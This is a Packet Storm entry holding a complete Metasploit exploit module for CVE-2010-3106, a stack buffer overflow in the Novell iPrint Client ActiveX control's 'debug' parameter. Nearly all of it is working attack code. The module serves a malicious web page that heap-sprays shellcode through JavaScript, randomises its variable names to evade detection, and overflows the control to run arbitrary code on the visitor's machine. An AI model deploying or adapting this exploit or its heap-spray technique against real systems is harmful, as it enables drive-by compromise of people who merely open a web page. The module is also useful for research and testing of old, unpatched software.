Novell iPrint Client ActiveX Control debug Buffer Overflow

2010-09-21T00:00:00
ID PACKETSTORM:94083
Type packetstorm
Reporter Trancer
Modified 2010-09-21T00:00:00

Description

                                        
                                            `##  
# novelliprint_executerequest_dbg.rb  
#  
# Novell iPrint Client ActiveX Control 'debug' Buffer Overflow exploit for the Metasploit Framework  
#  
# Exploit successfully tested on the following platforms:  
# - Novell iPrint Client 5.32 on Internet Explorer 7, Windows XP SP3  
# - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3  
# - Novell iPrint Client 5.40 on Internet Explorer 7, Windows Vista SP2  
#  
# ienipp.ocx version tested:  
# File Version: 5.3.2.0 and 5.4.0.0  
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C  
# RegKey Safe for Script: True  
# RegKey Safe for Init: True  
# KillBitSet: False  
#  
# References:  
# - CVE-2010-3106  
# - OSVDB 66960  
# - http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs  
# - http://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit  
# - http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis  
# - http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security  
#  
# Trancer  
# http://www.rec-sec.com  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell iPrint Client ActiveX Control debug Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40.  
When sending an overly long string to the 'debug' parameter in ExecuteRequest()  
property of ienipp.ocx an attacker may be able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Trancer <mtrancer[at]gmail.com' ],  
'Version' => '$Revision:$',  
'References' =>  
[  
[ 'CVE', '2010-3106' ],  
[ 'OSVDB', '66960'],  
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-10-06' ], # Aaron Portnoy, TippingPoint DVLabs  
[ 'URL', 'http://www.exploit-db.com/exploits/15001/' ], # MOAUB #14  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A, 'Offset' => 250 } ]  
],  
'DisclosureDate' => 'Aug 04 2010',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
blocksize = 0x40000  
fillto = 500  
offset = target['Offset']  
  
# ActiveX parameters  
clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C"  
op = "op-client-interface-version"  
dbg = "debug="  
  
# Randomize the javascript variable names  
ienipp = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_ret = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_op = rand_text_alpha(rand(100) + 1)  
j_dbg = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
  
html = %Q|<html>  
<object classid='clsid:#{clsid}' id='#{ienipp}'></object>  
<script>  
var #{j_shellcode} = unescape('#{shellcode}');  
var #{j_nops} = unescape('#{nops}');  
var #{j_headersize} = 20;  
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;  
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};  
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});  
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});  
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};  
var #{j_memory} = new Array();  
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {  
#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};  
}  
  
var #{j_ret} = '';  
for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) {  
#{j_ret} += unescape('#{ret}');  
}  
#{j_op} = "#{op}";   
#{j_dbg} = "#{dbg}";  
#{ienipp}.ExecuteRequest(#{j_op}, #{j_dbg} + #{j_ret});   
</script>  
</html>|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
  
# Handle the payload  
handler(cli)  
end  
  
end  
  
`